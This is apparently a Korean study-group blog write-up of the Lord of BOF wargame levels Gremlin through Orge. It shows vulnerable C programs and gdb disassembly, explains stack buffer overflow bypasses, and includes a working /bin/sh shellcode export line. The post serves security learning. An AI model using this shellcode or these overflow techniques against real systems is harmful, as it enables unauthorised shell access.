본문 바로가기

4-5. 2022-2 심화 스터디/버그 헌팅과 모의 해킹

[2022.10.08] 메모리 취약점 문제 풀이 - LOB

HackerSchool의 Load of BOF 문제를 해결했습니다.

취약점 위주로 Write-up 해봅시다!

 

Gremlin

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
	char buffer[256];
	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

argv[1]을 통해 인자를 전달받고 있으며, strcpy를 이용해 이를 buffer에 복사하고 출력하는 프로그램입니다.

이때, strcpy 함수가 취약합니다. argv[1]의 입력값 길이를 검증하지 않고 있어 buffer의 크기인 256byte를 초과하는 만큼의 데이터를 작성할 수 있게 됩니다.

(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    $0x4,%esp
0x8048456 <main+38>:    mov    0xc(%ebp),%eax
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   $0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop
0x8048485 <main+85>:    nop
0x8048486 <main+86>:    nop
0x8048487 <main+87>:    nop
0x8048488 <main+88>:    nop
0x8048489 <main+89>:    nop
0x804848a <main+90>:    nop
0x804848b <main+91>:    nop
0x804848c <main+92>:    nop
0x804848d <main+93>:    nop
0x804848e <main+94>:    nop
0x804848f <main+95>:    nop
End of assembler dump.

다음은 프로그램의 어셈블리 코드입니다. main+3을 통해 스택은 buffer[256]만 들어 있으며, dummy는 없는 것을 알 수 있습니다. 스택은 낮은 주소부터 buffer[256] - ebp[4] - ret[4] 순서대로 쌓입니다.

따라서 return 주소를 쉘코드의 환경변수의 주소로 조작합니다. 환경변수 등록과 주소를 알아내기 위한 코드는 아래와 같습니다.

export SHELLCODE=`python -c 'print "\x90"*100+"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
	char *envaddr;
	envaddr = getenv(argv[1]);
	printf("%p\n", envaddr);
	return 0;
}

환경변수의 주소는 0xbffffe89입니다. 따라서 익스플로잇 코드는 buffer[256]+ebp[4]로 260byte를 채워야 하며, 다음과 같습니다.

 

Cobolt

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
	char buffer[16];
	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

위의 문제와 동일합니다. 버퍼의 크기만 줄어들었습니다. 

(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x10,%esp
0x8048436 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   $0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    $0x4,%esp
0x8048449 <main+25>:    push   $0x0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    $0x4,%esp
0x8048453 <main+35>:    mov    0xc(%ebp),%eax
0x8048456 <main+38>:    add    $0x4,%eax
0x8048459 <main+41>:    mov    (%eax),%edx
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    0xfffffff0(%ebp),%eax
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    $0x8,%esp
0x8048468 <main+56>:    lea    0xfffffff0(%ebp),%eax
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   $0x80484dc
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    $0x8,%esp
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret
0x804847b <main+75>:    nop
0x804847c <main+76>:    nop
0x804847d <main+77>:    nop
0x804847e <main+78>:    nop
0x804847f <main+79>:    nop
End of assembler dump.

dummy도 없는 것을 확인할 수 있습니다. 따라서 익스플로잇 코드는 buffer[16]+ebp[4]로 20byte를 채우고, 그 뒤에 return 주소를 작성합니다.

 

Goblin

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

입력 방식만 바뀌었습니다. 이 경우엔 파이프라인을 이용해 익스플로잇이 가능합니다.

 

Orc

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

** egg hunter?:  환경변수를 초기화하는 것

egg hunter가 적용되어 있습니다. 환경변수는 전역변수로 선언되는데, memset 함수로 환경변수를 전부 0으로 초기화하고 있습니다. 따라서 지금까지 우리가 환경변수를 이용해 공격한 방법이 더 이상 먹히지 않습니다...

그럼 어떻게 해야 할까? 자세히 보면, 위의 프로그램은 argv의 개수를 고려하지 않고 있습니다. 따라서 argv[2]에 쉘코드를 넣고, argv[2]의 시작 주소로 ret를 조작해 봅시다. 이때 nop sled를 이용합니다.

** nop sled?: 아무 동작도 하지 않는 \x90을 앞에 채워 두면, nop을 타고 쭉 내려가 특정 코드에 도달하게 된다. 여기에 쉘코드를 넣는다면 nop을 타고 따라 들어가 shell을 획득할 수 있다.

 

Wolfman

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

입력의 48번째 byte를 검사하는 내용과 buffer hunter가 추가되었습니다.

버퍼의 48번째 내용이 \xbf가 아니면 프로그램이 즉시 종료됩니다. 따라서 해당 조건을 만족시켜야 합니다. 그러나 이는 무시해도 무방한데, 48번째 byte는 무조건 \xbf로 시작할 수밖에 없기 때문입니다.

** Little Endian?: 낮은 주소에 낮은 바이트부터 채워 넣는 것으로, 우리가 읽는 것과 반대 방향으로 저장됨. 

따라서 가장 마지막 4byte에 주소가 들어가게 될 텐데, argv[1][47] argv[1][46] argv[1][45] argv[1][44] 순서대로 메모리에 들어가게 됩니다. 즉, 자연스럽게 argv[1][47]는 \xbf가 됩니다. 

buffer hunter는 버퍼 내용을 모두 0으로 초기화하고 있네요. 그러나 우리는 버퍼의 내용이 별로 중요하지 않기 때문에 위의 방법과 동일하게 공격을 할 수 있습니다.

 

Darkelf

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

argv[1]의 길이를 검사하는 내용이 추가되었습니다. 그러나 마찬가지로 무시해도 괜찮습니다. 지금까지 우리는 argv[1]의 데이터를 48byte로 주고 있었으니까요.

 

Orge

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

argv[0]의 길이 조건이 추가되었습니다. argv[0]엔 명령줄 가장 처음에 입력한 값이 들어가는데, 주로 실핸하고자 하는 프로그램의 이름이 들어갑니다. 이 조건을 충족시키기 위해 심볼릭 링크를 사용합니다

** 심볼릭 링크?: 절대 경로 또는 상대 경로의 형태로 된 다른 파일이나 디렉터리에 대한 참조를 포함하고 있는 특별한 종류의 파일. 쉽게 말하면 바로가기.

심볼릭 링크의 이름을 조건에 맞게 77자로 맞춰 줍니다. 이때 './'를 포함해 77자여야 하는 것에 유의합니다.

이렇게 argv[0]이 77자라면 argv[0] error가 나타나지 않습니다. 이후는 그동안 했던 익스플로잇 방법과 동일합니다.

메모리가 자꾸 바뀌고 core 파일도 생성되지 않아서 브루트포스로 했습니다... ^^